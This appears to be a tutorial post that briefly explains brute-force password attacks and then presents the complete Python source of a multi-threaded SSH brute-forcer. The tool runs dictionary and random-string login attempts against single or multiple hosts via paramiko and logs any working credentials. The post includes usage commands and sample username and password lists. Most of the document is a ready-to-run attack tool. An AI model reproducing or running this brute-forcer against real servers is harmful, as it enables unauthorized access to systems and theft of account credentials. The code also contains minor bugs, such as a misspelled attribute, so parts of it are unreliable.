Create SSH BruteForcer in Python

In cryptography, a brute-force attacks consists of an attacker trying many passwords or passphrases with the hope of eventually guessing correctly. The attackers systematically checks all possible passwords and passphrases until the correct one is found. Alternatively, the attackers can attempt to guess the key which is typically created from the password using a key derivation function. This is known as an exhaustive key searchs.

A brute-force attack is a cryptanalytic attack that can, in theory, be used to attempts to decrypt any encrypted data (except for data encrypted in an information-theoretically secure manners). Such an attack might be used when it is not possible to take advantage of other weaknesses in an encryption systems (if any exist) that would make the task easier.

When password guessing, this method is very fast when used to check all short passwords, but for longer passwords other methods such as the dictionary attacks are used because a brute-force search takes too long. Longer passwords, passphrases and keys have more possible values, making them exponentially more difficult to crack than shorter one.

Simple multi threaded SSHBrute Forcer, Standard Brute Forcing and Dictonary based attacks.

Note: The brute force methods is really bad just trys random strings with different lengths. Also it will attempt to create a lot of threads if you say 1000 attempt it will create 1000 thread.. Why you might ask because no one should really ever use this feature.

Usage:

Single Ip Dictonary Attacks:
python SSHBruteForce.py -i 127.0.0.1 -d True -p 2222 -U ./usernames.txt -P ./passwords.txt

Single Ip Dictonary Attack Specifying thread and timeout:
python SSHBruteForce.py -i 127.0.0.1 -d True -p 2222 -U ./usernames.txt -P ./passwords.txt -t 15 -T 30

Multiple Ip Dictonary Attacks:
python SSHBruteForce.py -I ./targets.txt -d True -p 2222 -U ./usernames.txt -P ./passwords.txt -t 15 -T 30

Single Ip BruteForce Attacks:
python SSHBruteForce.py -i 127.0.0.1 -p 22 -a 100 -l 8

Multiple Ip BruteForce Attacks:
python SSHBruteForce.py -I targets.txt -p 22 -a 100 -l 8

Example of target.txt:
127.0.0.1:22
127.0.0.2:23

Example of username.txt:
Siddhartha
Hari
Elsam

Example of password.txt:
love
god
sex
secret

Here is the Code

#Connection.py
import sys

from threading import Thread
#Check For Paramiko Dependency
try:
    from paramiko import SSHClient
    from paramiko import AutoAddPolicy
except ImportError:
    print 'Missing Paramiko Dependency.'
    sys.exit(0)


class Connection (Thread):
    '''
    This is the class that checks if a specific
    Username and password combination was successful.
    '''

    def __init__(self,username, password, targetIp, portNumber, timeoutTime):
        
        super(Connection, self).__init__()
        
        self.username    = username
        self.password    = password
        self.targetIp    = targetIp
        self.portNumber  = portNumber
        self.timeoutTime = timeoutTime
        self.status = ""
        
    def run(self):
        
        sshConnection = SSHClient()
        sshConnection.set_missing_host_key_policy(AutoAddPolicy())
        
        try:
            sshConnection.connect(self.targetIp, port = int(self.portNumber), 
                username = self.username,password = self.password, 
                timeout = int(self.timeoutTime), allow_agent = False,look_for_keys = False)
            
            self.status = 'Succeeded'
            sshConnection.close()
        except:
            self.status = 'Failed'

import sys
import random
from optparse import OptionParser

import Util
from Connection import Connection

class SSHBruteForce():

    def __init__(self):
        self.info = "Simple SSH Brute Forcer: By r4stl1n"
        self.targetIp = ""
        self.targetPort = 0
        self.targets = []
        self.usernames = []
        self.passwords = []
        self.connections  = []
        self.amountOfThreads = 0
        self.currentThreadCount = 0
        self.timeoutTime = 0
        self.outputFileName = None
        self.singleMode = False
        self.verbose = False
        self.bruteForceLength = 0
        self.bruteForceAttempts = 0
        self.bruteForceMode = False
        self.characters = "abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        
    def startUp(self):
        usage = '%s [-i targetIp] [-U usernamesFile] [-P passwordsFile]' % sys.argv[0]
        
        optionParser = OptionParser(version = self.info, usage = usage)

        optionParser.add_option('-i',  dest = 'targetIp',              
                                help = 'Ip to attack')  
        optionParser.add_option('-p',  dest = 'targetPort',            
                                help = 'Ip port to attack', default = 22)
        optionParser.add_option('-d', dest='typeOfAttack',
                                help = 'Dictionary Attack', default = False)
        optionParser.add_option('-a', dest='attemptAmount',
                                help = "Number of attempts before stopping", default = 2)
        optionParser.add_option('-l', dest='lengthLimit',
                                help = 'Length of bruteforce strings', default = 8)
        optionParser.add_option('-I',  dest = 'targetsFile',
                                help = 'List of IP\'s and ports')
        optionParser.add_option('-C',  dest = 'combolistFile',              
                                help = 'Combo List file')
        optionParser.add_option('-U',  dest = 'usernamesFile',              
                                help = 'Username List file')  
        optionParser.add_option('-P',  dest = 'passwordsFile',          
                                help = 'Password List file')
        optionParser.add_option('-t',  type = 'int', dest = 'threads', 
                                help = 'Amount of Threads', default = 10)
        optionParser.add_option('-T',  type = 'int', dest = 'timeout', 
                                help = 'Timeout Time', default = 15)
        optionParser.add_option('-O', dest = "outputFile",
                                help = 'Output File Name', default = None)
        optionParser.add_option('-v',  '--verbose', action='store_true', 
                                dest='verbose', help='verbose')

        (options, args) = optionParser.parse_args()

        #First a check is used to see if there is at least a singleIp set or a targetList set
        if not options.targetIp and not options.targetsFile:            
            optionParser.print_help()
            sys.exit(1)
            
        else:
            #Check to see if we are running a dictionary attack or a bruteforce
            if bool(options.typeOfAttack) == True:
                #Then another check to make sure the Username list and passwordlist are filled
                if (options.usernamesFile and options.passwordsFile) or options.combolistFile:
                    #Then we check if it is a single ip only
                    if options.targetIp and not options.targetsFile:
                        self.singleMode = True
                        self.singleTarget(options)
                    elif not options.targetIp and options.targetsFile:
                        self.multipleTargets(options)
                    else:
                        optionParser.print_help()
                        sys.exit(1)
                else:
                    optionParser.print_help()
                    sys.exit(1)
            else:
                #setup the brtue force
                self.bruteForceMode = True
                #Then we check if it is a single ip only
                if options.targetIp and not options.targetsFile:
                    self.singleMode = True
                    self.singleTarget(options)
                elif not options.targetIp and options.targetsFilet:
                    self.multipleTargets(options)
                else:
                    optionParser.print_help()
                    sys.exit(1)

    def singleTarget(self,options):
        self.targetIp  = options.targetIp
        self.targetPort = options.targetPort
        self.amountOfThreads = options.threads
        self.timeoutTime = options.timeout
        self.outputFileName = options.outputFile
        self.verbose = options.verbose
        self.bruteForceLength = options.lengthLimit
        self.bruteForceAttempts = options.attemptAmount
        
        if bool(options.typeOfAttack):           
            if options.combolistFile:
                self.usernames, self.passwords = self.__seperateDataFromComboList(options.combolistFile)
            else:
                self.usernames = Util.fileContentsToList(options.usernamesFile)
                self.passwords = Util.fileContentsToList(options.passwordsFile)
            self.showStartInfo()
            self.dictionaryAttackSingle()
        else:
            self.showStartInfo()
            self.bruteForceSingle()

    def multipleTargets(self,options):
        self.targets = Util.fileContentsToTuple(options.targetsFile)
        self.amountOfThreads = options.threads
        self.timeoutTime = options.timeout
        self.outputFileName = options.outputFile
        self.verbose = options.verbose
        self.bruteForceLength = options.lengthLimit
        self.bruteForceAttempts = options.attemptAmount

        if bool(options.typeOfAttack):
            if options.combolistFile:
                self.usernames, self.passwords = self.__seperateDataFromComboList(options.combolistFile)
            else:
                self.usernames = Util.fileContentsToList(options.usernamesFile)
                self.passwords = Util.fileContentsToList(options.passwordsFile)
            self.showStartInfo()
            self.dictionaryAttackMultiple()
        else:
            self.showStartInfo()
            self.bruteForceMultiple()
    
    @staticmethod
    def __seperateDataFromComboList(comboListFile):
        usernames = []
        passwords = []
        for t in Util.fileContentsToTuple(comboListFile):
            usernames.append(t[0])
            passwords.append(t[1])
        return usernames, passwords


    def showStartInfo(self):
        print "[*] %s " % self.info
        if self.singleMode:
            print "[*] Brute Forcing %s "  % self.targetIp
        else:
            print "[*] Loaded %s Targets " % str(len(self.targets))

        if self.bruteForceMode == False:
            print "[*] Loaded %s Usernames "   % str(len(self.usernames))
            print "[*] Loaded %s Passwords "   % str(len(self.passwords))
        print "[*] Brute Force Starting "
        
        if self.outputFileName is not None:
            Util.appendLineToFile("%s " % self.info, self.outputFileName)
            if self.singleMode:
                Util.appendLineToFile("Brute Forcing %s "  % self.targetIp, self.outputFileName)
            else:
                Util.appendLineToFile("Loaded %s Targets " % str(len(self.targets)),  self.outputFileName)
            Util.appendLineToFile("Loaded %s Usernames "   % str(len(self.usernames)), self.outputFileName)
            Util.appendLineToFile("Loaded %s Passwords "   % str(len(self.passwords)), self.outputFileName)
            Util.appendLineToFile("Brute Force Starting ", self.outputFileName)

    def dictionaryAttackSingle(self):
        for username in self.usernames:
            for password in self.passwords:

                self.createConnection(username, password, self.targetIp, 
                                      self.targetPort, self.timeoutTime)
                if self.currentThreadCount == self.amountOfThreads:
                    self.currentThreadResults()
        self.currentThreadResults()
                    
    def dictionaryAttackMultiple(self):
        for target in self.targets:
            for username in self.usernames:
                for password in self.passwords:
                    self.createConnection(username, password, target[0], 
                                          int(target[1]), self.timeoutTime)
                    if self.currentThreadCount == self.amountOfThreads:
                        self.currentThreadResults()
        self.currentThreadResults()
        
    def bruteForceSingle(self):
        for x in range(int(self.bruteForceAttempts)):
            randomUserString = ""
            randomPasswordString = ""
            randomStringLength = random.randint(4,int(self.bruteForceLength))
            for y in range(randomStringLength):
                randomUserString = randomUserString+random.choice(self.characters)
            
            randomStringLength = random.randint(4,int(self.bruteForceLength))
            
            for z in range(randomStringLength):
                randomPasswordString = randomPasswordString + random.choice(self.characters)
            
            self.createConnection(randomUserString, randomPasswordString, self.targetIp, 
                self.targetPort, self.timeoutTime)
            if self.currentThreadCount == self.amountOfThreads:
                self.currentThreadResults()
        self.currentThreadResults()

    def bruteForceMultiple(self):
        for target in self.targets:
            for x in range(self.bruteForceAttempts):
                randomUserString = ""
                randomPasswordString = ""
                randomStringLength = random.randint(4,self.bruteForceLength)
                
                for y in range(randomStringLength):
                    randomUserString = randomUserString+random.choice(self.characters)
                
                randomStringLength = random.randint(4,self.bruteForceLength)
                
                for z in range(randomStringLength):
                    randomPasswordString = randomPasswordString + random.choice(self.characters)

                self.createConnection(randomUserString, randomPasswordString, target, 
                    self.targetPort, self.timeoutTime)
                if self.currentThreadCount == self.amountOfThreads:
                    self.currentThreadResults()

        self.currentThreadResults()

    def createConnection(self, username, password, targetIp, targetPort, timeoutTime):
        connection = Connection(username, password, targetIp, targetPort, timeoutTime)
        connection.start()

        self.connections.append(connection)
        self.currentThreadCount += 1
        if self.verbose:
            print "[*] Adding Target: {0}, Testing with username: {1}, testing with password: {2}" .format(targetIp, username, password)
        
    def currentThreadResults(self):
        for connection in self.connections:
            connection.join()

            if connection.status == 'Succeeded':
                print "[#] TargetIp: %s " % connection.targetIp
                print "[#] Username: %s " % connection.username
                print "[#] Password: %s " % connection.password
                
                if self.outputFileName is not None:
                    Util.appendLineToFile("TargetIp: %s " % connection.targetIp, self.outputFileName)
                    Util.appendLineToFile("Username: %s " % connection.username, self.outputFileName)
                    Util.appendLineToFile("Password: %s " % connection.password, self.outputFileName)
                    
                if self.singleMode:
                    self.completed()
            else:
                pass
    
        self.clearOldThreads()

    def clearOldThreads(self):
        self.connections = []
        self.threadCount = 0
    
    def completed(self):
        print "[*] Completed Brute Force."
        sys.exit(0)
        
if __name__ == '__main__':
    sshBruteForce = SSHBruteForce()
    sshBruteForce.startUp()
    print "[*] Brute Force Completed"
def fileContentsToList(fileName):
    
    lineList = []
    
    try:
        fileParser = open(fileName, 'r')
        
    except IOError:
        print "[!] Could not open file %s " % fileName
        
    except:
        print "[!] Could not access file %s" % fileName
        
    for line in fileParser.readlines():
        newLine = line.replace('\n', '')
        lineList.append(newLine)
        
    return lineList

def fileContentsToTuple(fileName):
    
    tupleList = []
    
    try:
        fileParser = open(fileName, 'r')
        
    except IOError:
        print "[!] Could not open file %s " % fileName
        
    except:
        print "[!] Could not access file %s" % fileName
        
    for line in fileParser.readlines():
        newLine = line.replace('\n', '')
        newTuple = (newLine[:line.find(':')],newLine[line.find(':')+1:])
        tupleList.append(newTuple)
        
    return tupleList

def appendLineToFile(line,filename):
    fileHandler = open(filename,"a+")
    fileHandler.write(line + "\n")
    fileHandler.close()